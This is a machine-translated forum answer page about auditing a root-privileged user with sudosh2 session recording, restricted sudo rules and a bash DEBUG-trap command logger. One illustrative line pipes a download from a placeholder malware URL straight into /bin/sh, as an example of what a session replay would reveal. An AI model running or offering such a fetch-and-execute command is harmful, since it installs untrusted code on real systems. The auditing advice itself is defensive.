Answers:
信任但要验证!
签出sudosh2。sudosh2由FreeBSD端口提供。软件包可用于RedHat和Ubuntu。这是他们网站的描述:
sudosh是审核外壳程序过滤器,可以用作登录外壳程序。Sudosh记录所有击键和输出,并且可以像VCR一样回放会话。
Sudosh将允许您重播用户的会话,这将使您能够查看用户看到的所有输入和输出。您会看到所有内容,按键,输入错误,退格键,它们在其中进行vi
了编辑,的输出wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
等。
可以将sudosh日志发送到syslog,以便可以将它们存储在远离系统的中央syslog服务器上。
请注意,sudosh2替代了sudosh,后者被其作者抛弃了
您是否在一家学术机构中工作,而该机构的用户坚持拥有超级用户特权?还是您在公司工作并希望允许用户在自己的VM上拥有超级用户特权?这可能是您的解决方案。
不要给他root权限。而是给他一个非特权用户帐户,并要求他通过进行所有工作sudo
,这将记录他的所有命令。
请记住,如果此人有恶意,并且您授予了他全部的sudo特权,则他将找到一种无需记录这些命令即可执行这些不良意图的方法。在这种情况下,仅授予他访问执行其工作所需的特定命令的权限。
sudo su -
并拥有一个不会被记录的root shell(除非您启动了它)。当我想一次性执行多个命令而不是root时,或者如果我希望普通用户无法读取的目录中的制表符补全,这就是我通常输入的内容。
sudo su -
如果需要,可以明确禁止。
我对sudosh2不熟悉,但是我将以下内容.bashrc
记录到了我在bash
shell中键入的所有命令记录到文件中~/.command_log
:
# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
\$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi
上面在on上设置了一个陷阱DEBUG
,该陷阱正好在执行普通命令之前执行。该caller
内置用于测试是否该命令在交互的shell正在键入或通过类似运行.bashrc
。该值${BASH_COMMAND}
包含当前正在执行的命令。